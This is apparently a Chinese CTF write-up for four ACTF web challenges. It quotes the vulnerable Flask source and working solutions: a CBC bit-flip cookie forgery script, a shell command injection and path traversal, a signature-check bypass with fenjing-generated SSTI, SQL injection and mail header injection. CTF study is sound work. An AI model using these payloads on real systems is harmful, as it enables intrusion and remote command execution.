前言
24小时还是太短了(
signin
https://github.com/team-s2/commit/cc4650640978694fa7a53fefe0b1192a4264ed63
not so web 1
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = KEY
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
if not cookie:
return False
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False
if len(cookie_encrypted) < 32:
return False
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False
try:
_ = json.loads(cookie_json)
except Exception:
return False
return True
def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
cookie 是 CBC 加密的,不知道 key 和 ADMIN_PASSWORD
主要看这个:
def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
只判断返回的 name
应该是 CBC 字节翻转攻击,参考:https://www.freebuf.com/vuls/246058.html
本地调试,注册一个账户 admim 进行登录并 parse_cookie,得到要修改的目标 {"name": "admim", "password_raw": "123", "register_time": -1}\r\r\r\r\r\r\r\r\r\r\r\r\r
然后目的是利用CBC字节翻转修改一个字节,把 m 改成 n
反复调试得到 exp:
import base64
from Crypto.Util.number import *
import requests
url = "http://61.147.171.105:53538"
data = {"username": "admim", "password": "123"}
session = requests.session()
r = session.post(url + "/login", data=data)
token = base64.b64decode(session.cookies.get_dict()['jwbcookie'].strip())
iv = token[:16]
cipher = token[16:]
plaintext = b'{"name": "admim", "password_raw": "123", "register_time": -1}\r\r\r\r\r\r\r\r\r\r\r\r\r'
tmp = iv[14] ^ ord('m') ^ ord('n')
newIV = iv[:14] + long_to_bytes(tmp) + iv[15:]
newtoken = newIV + cipher
header = {"Cookie": b"jwbcookie=" + base64.b64encode(newtoken)}
r = session.get(url + "/home", headers=header, allow_redirects=False)
print(r.status_code)
print(base64.b64encode(newtoken))
带上 cookie ,传 ssti rce 即可
flag:ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}
ACTF upload
随便输个账密登录,上传文件
发现目录穿越
app.py
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
目的是获取 admin,key是从环境变量读取的
/proc/self/environ
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.HOSTNAME=efe59dc58211.LANG=C.UTF-8.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.PYTHON_VERSION=3.9.17.PYTHON_PIP_VERSION=23.0.1.PYTHON_SETUPTOOLS_VERSION=58.1.0.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.py.PYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207.SECRET_KEY=S3cRetK3y.HOME=/root.
得到SECRET_KEY=S3cRetK3y
通过 https://md5hashing.net/hash/sha256/32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0
32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0
解出来是 backdoor
然后对于
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
命令注入即可
a|ls${IFS}/>/tmp/1
然后用普通用户权限访问 ../../../../tmp/1.b64
于是直接读取 ../../../../Fl4g_is_H3r3 即可
not so web 2(复现)
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
abort,
)
app = Flask(__name__)
app.secret_key = KEY
if os.path.exists("/etc/ssl/nginx/local.key"):
private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
private_key = RSA.generate(2048)
public_key = private_key.publickey()
@dataclass
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie_b64: str) -> bool:
valid, _ = parse_cookie(cookie_b64)
return valid
def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
if not cookie_b64:
return False, ""
try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
return False, ""
try:
msg_str, sig_hex = cookie.split("&")
except Exception:
return False, ""
msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")
def generate_cookie(user: APPUser) -> str:
msg_dict = {"user_name": user.name, "login_time": int(time.time())}
msg_str = json.dumps(msg_dict)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
sig_hex = sig.hex()
packed = msg_str + "&" + sig_hex
return base64.b64encode(packed.encode()).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
if payload:
for char in payload:
if char in "'_#&;":
abort(403)
return
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
变成 RSA 了,直接看核心逻辑
def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
if not cookie_b64:
return False, ""
try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
return False, ""
try:
msg_str, sig_hex = cookie.split("&")
except Exception:
return False, ""
msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")
def generate_cookie(user: APPUser) -> str:
msg_dict = {"user_name": user.name, "login_time": int(time.time())}
msg_str = json.dumps(msg_dict)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
sig_hex = sig.hex()
packed = msg_str + "&" + sig_hex
return base64.b64encode(packed.encode()).decode()
并非 Bleichenbacher attack
我们只需要让 parse_cookie 返回 true 即可,那么核心就是这里的 PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
cookie base64 解码大致如下:
{"user_name": "admim", "login_time": 1745753373}&0b7a4475d332df30c7ce40c0f736c4d27cc658b164bce6f5d957c792d11279479836c6d35fb0eacb3fad7602adf6dfb20b05b3ce87fdb1ef62371a726ed62898170fa120e336d712ad1e526b8db192fae89476a79b8fc1664c68bf488c03a0aae6fef7b964f164423423ebdeaf172c2b5e5bb5e47f2b6e671bc24526715f04db7c9da426649474abcd9080d252b72127de62196bb5f4cf804403de65b2cab201d9bd6c89a42a3293224a8e1642108cd3d7649f9b23f4150c35fcc99f301da0bea27615f8f6371482548c61746acf9b6744884fbaf415c75c65725db913635d39ba97bcd4d0860c7bfa6103c65cd3248d29029584a456438ccf4948d56caa7301
其中 msg_hash 对应的是 & 前的部分
观察 PKCS1_v1_5.new
,发现它只会返回 false 或者 true,但是并不会抛出错误,因为函数内部已经处理过了
那这个函数验证的结果不影响返回,也就是说直接改 cookie 的 name 为 admin 即可
{"user_name": "admin", "login_time": 1745753373}&0b7a4475d332df30c7ce40c0f736c4d27cc658b164bce6f5d957c792d11279479836c6d35fb0eacb3fad7602adf6dfb20b05b3ce87fdb1ef62371a726ed62898170fa120e336d712ad1e526b8db192fae89476a79b8fc1664c68bf488c03a0aae6fef7b964f164423423ebdeaf172c2b5e5bb5e47f2b6e671bc24526715f04db7c9da426649474abcd9080d252b72127de62196bb5f4cf804403de65b2cab201d9bd6c89a42a3293224a8e1642108cd3d7649f9b23f4150c35fcc99f301da0bea27615f8f6371482548c61746acf9b6744884fbaf415c75c65725db913635d39ba97bcd4d0860c7bfa6103c65cd3248d29029584a456438ccf4948d56caa7301
ssti 部分直接拿 fenjing 梭了
from fenjing import exec_cmd_payload, config_payload
import logging
import urllib
logging.basicConfig(level=logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = ["'", "_", "#", "&", ";"]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "grep -r 'ACTF{'")
# config_payload = config_payload(waf)
shell_payload = urllib.parse.quote(shell_payload)
print(f"{shell_payload=}")
# print(f"{config_payload=}")
Excellent-Site(Unsolvd)
@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")
if not news_id:
news_id = 1
conn = sqlite3.connect("news.db")
cursor = conn.cursor()
cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()
if not result:
return "Page not found.", 404
return result[0]
这里一眼能 sqllite 注入,能拿 sqlmap 一把梭
目标是 /admin 处打 ssti,admin 必须是本地
那么就要看 /report
@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("ezmail.org")
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)
这里可以注入邮件头
http://example.com\r\nBcc: duensm80437@chacuo.net
尝试直接利用 sqlite 注入往数据库中写 ssti payload
但是这里不能堆叠注入,寄
直接让管理员写 ssti payload
-1+union+select+'{{lipsum.__globals__.os.popen("sleep").read()}}'